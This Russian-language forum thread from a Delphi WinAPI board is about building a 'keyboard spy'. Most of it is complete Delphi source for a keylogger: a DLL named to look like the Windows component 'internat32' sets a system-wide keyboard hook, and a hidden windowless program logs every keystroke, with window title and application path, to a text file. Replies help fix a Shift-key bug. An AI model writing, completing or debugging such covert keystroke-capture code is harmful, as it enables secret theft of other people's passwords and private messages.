VPF::Клавиатурный шпион - Форум программистов

Dmitry_177

Дата 29.9.2006, 15:31 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет

Будешь удивлен, твои откомпилированне файлы у меня не работают, т.е. запускаю я программу, жму там "Run", везде в разных окнах ввожу символ, потом жму "Stop"... Файл "c:\keylog.txt" создается, но в него ничего не записывается... Странно что у тебя работает..

drkot

Дата 29.9.2006, 18:53 (ссылка)

(нет голосов)

Загрузка ...

Ищущий

Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8

Цитата(Dmitry_177 @ 29.9.2006, 15:31

)

Странно что у тебя работает.

тоже могу сказать в ответ smile

--------------------

Ошибка не становится истиной по причине широкого распространения,
как и Истина не становится Ошибкой из-за того, что никто её не видит.

Dmitry_177

Дата 7.10.2006, 23:59 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет

Сделал я такую реализвцию, dll-ка ловит сообщения клавиатуры и передает их в программу сообщением WM_COPYDATA:

Dll-библиотека:

Код


library internat32;

uses
  Windows,
  Messages;

const
  WinTitle = 'internat32';

type
  TMaxPathString = array [0..MAX_PATH] of Char;

  THookData = packed record
    KeyName: Char;
    FormCaption: TMaxPathString;
    AppFileName: TMaxPathString;
  end;

var
  KeyHook: HHook = INVALID_HANDLE_VALUE;

procedure SendData(AData: THookData);
var
  hWindow: HWnd;
  Struc: COPYDATASTRUCT;
begin
  hWindow := FindWindow(WinTitle, nil);
  if hWindow <> 0 then
    begin
      Struc.dwData := 0;
      Struc.cbData := SizeOf(THookData);
      Struc.lpData := @AData;
      SendMessage(hWindow, WM_COPYDATA, 0, Integer(@Struc));
    end;
end;

function KeyHookProc(nCode: integer; WParam: Word; LParam: LongInt): LongInt; stdcall;
var
  KeyState: TKeyboardState;
  pKeyName: PChar;
  FormCaption: TMaxPathString;
  AppFileName: TMaxPathString;
  Data: THookData;
begin
  if (nCode = HC_ACTION) and (((LParam shr 16) and KF_UP) = 0) then
    begin
      GetKeyBoardState(KeyState);
      GetMem(pKeyName, 3);
      ToAsciiEx(WParam, 0, KeyState, pKeyName, 0, GetKeyboardLayout(0));
      GetWindowText(GetForegroundWindow, FormCaption, SizeOf(FormCaption));
      GetModuleFileName(0, AppFileName, SizeOf(AppFileName));

      Data.KeyName := pKeyName^;
      Data.FormCaption := FormCaption;
      Data.AppFileName := AppFileName;
      SendData(Data);

      FreeMem(pKeyName);
      Result := 0;
    end
  else
    Result := CallNextHookEx(KeyHook, nCode, WParam, LParam);
end;

procedure InstallHook; export; stdcall;
begin
  if KeyHook = INVALID_HANDLE_VALUE then
    KeyHook := SetWindowsHookEx(WH_KEYBOARD, @KeyHookProc, hInstance, 0);
end;

procedure RemoveHook; export; stdcall;
begin
  if KeyHook <> INVALID_HANDLE_VALUE then
    UnHookWindowsHookEx(KeyHook);
  KeyHook := INVALID_HANDLE_VALUE;
end;

exports
  InstallHook index 1,
  RemoveHook index 2;

begin
end.

Программа:

Код


program internat32;

uses
  Windows,
  Messages,
  SysUtils;

const
  WinTitle = 'internat32';

type
  TMaxPathString = array [0..MAX_PATH] of Char;

  THookData = packed record
    KeyName: Char;
    FormCaption: TMaxPathString;
    AppFileName: TMaxPathString;
  end;

  PHookData = ^THookData;

var
  WindowClass: TWndClass;
  hWindow: HWnd;
  Msg: TMsg;
  LogFile: TextFile;
  LogFileName, SelfMFN, SelfFC: string;

procedure InstallHook; stdcall; external 'internat32.dll' index 1;
procedure RemoveHook; stdcall; external 'internat32.dll' index 2;

procedure TranslateData(DataStruc: COPYDATASTRUCT; var AData: THookData);
var
  PData: PHookData;
begin
  PData := DataStruc.lpData;
  AData.KeyName := PData^.KeyName;
  Move(PData^.FormCaption, AData.FormCaption, SizeOf(AData.FormCaption));
  Move(PData^.AppFileName, AData.AppFileName, SizeOf(AData.AppFileName));
end;

function WindowProc(Window: HWnd; Message, WParam: Word; LParam: LongInt): LongInt; stdcall;
var
  Struc: COPYDATASTRUCT;
  AData: THookData;
begin
  Result := 0;
    case Message of
      WM_COPYDATA: begin
                     Struc := PCopyDataStruct(LParam)^;
                     TranslateData(Struc, AData);

                     if SelfMFN <> AData.AppFileName then
                       begin
                         SelfMFN := AData.AppFileName;
                         SelfFC := AData.FormCaption;
                         Flush(LogFile);
                         WriteLn(LogFile, #13#10);
                         WriteLn(LogFile, FormatDateTime('dd.mmmm(mm).yyyy  -  hh:nn', Now));
                         WriteLn(LogFile, '#File Name#: ' + AData.AppFileName);
                         WriteLn(LogFile, '#Form Caption#: ' + AData.FormCaption);
                         Write(LogFile, '#Text#: ' + AData.KeyName);
                       end
                     else
                       begin
                         if SelfFC <> AData.FormCaption then
                           begin
                             SelfFC := AData.FormCaption;
                             Flush(LogFile);
                             WriteLn(LogFile, #13#10);
                             WriteLn(LogFile, FormatDateTime('dd.mmmm(mm).yyyy  -  hh:nn', Now));
                             WriteLn(LogFile, '#Form Caption#: ' + AData.FormCaption);
                             Write(LogFile, '#Text#: ' + AData.KeyName);
                           end
                         else
                           begin
                             Write(LogFile, AData.KeyName);
                           end;
                       end;
                     Result := 1;
                   end;

      WM_DESTROY: begin
                    RemoveHook;
                    CloseFile(LogFile);
                    PostQuitMessage(0);
                    Exit;
                  end;
  else
    Result := DefWindowProc(Window, Message, WParam, LParam);
  end;
end;

begin
  LogFileName := ExtractFilePath(ParamStr(0)) + 'KeyLog.txt';
  SelfMFN := '';
  SelfFC := '';

  AssignFile(LogFile, LogFileName);
  if FileExists(LogFileName) then
    Append(LogFile)
  else
    Rewrite(LogFile);

  with WindowClass do
    begin
      lpszClassName := WinTitle;
      lpfnWndProc := @WindowProc;
      cbClsExtra := 0;
      cbWndExtra := 0;
      hInstance := 0;
    end;

  if RegisterClass(WindowClass) = 0 then Exit;
  hWindow := CreateWindow(WinTitle, WinTitle, 0, 0, 0, 0, 0, 0, 0, hInstance, nil);

  InstallHook;

  while GetMessage(Msg, 0, 0, 0) do
    begin
      TranslateMessage(Msg);
      DispatchMessage(Msg);
    end;

  Halt(Msg.wParam);
end.

Все работает, клавиатура ловится, все передается в программу, программа записывает в файл, но проблема теперь вот в чем, почему-то если нажимать Shift, то записывается последний символ который был введен до нажатия Shift-а. Т.е. если например в Word-е ввести какое-нибудь слово например "Дмитрий", а потом сразу нажимать несколько раз Shift, то будет так: "Дмитриййййй", символ "й", повторяется столько же раз сколько была нажата клавиша Shift. Почему так? Подскажите пожалуйста...

Это сообщение отредактировал(а) Dmitry_177 - 8.10.2006, 00:03

drkot

Дата 9.10.2006, 10:55 (ссылка)

(нет голосов)

Загрузка ...

Ищущий

Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8

Цитата(Dmitry_177 @ 7.10.2006, 23:59

)

то будет так: "Дмитриййййй", символ "й", повторяется столько же раз сколько была нажата клавиша Shift. Почему так? Подскажите пожалуйста...

переменную очищай

--------------------

Dmitry_177

Дата 11.10.2006, 17:21 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет

А какую переменную очищать?

drkot

Дата 12.10.2006, 11:33 (ссылка)

(нет голосов)

Загрузка ...

Ищущий

Профиль
Группа: Завсегдатай
Сообщений: 1042
Регистрация: 5.5.2006

Репутация: нет
Всего: 8

ту в которой содержится символ

Цитата(Dmitry_177 @ 7.10.2006, 23:59

)

символ "й"

при нажатии на шифт ненадо клавишу писать, ввода то по сути нет.

--------------------

Dmitry_177

Дата 12.10.2006, 11:53 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 418
Регистрация: 22.9.2006

Репутация: нет
Всего: нет

Символ содержится в переменной AData: THookData; (AData.KeyName) которая находится в функции WindowProc, ведь она сама должна убиваться при завершении этой функции, и по идее в ней ничего не должно быть при следующем запуске функции...

0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема \| Delphi: WinAPI и системное программирование \| Следующая тема »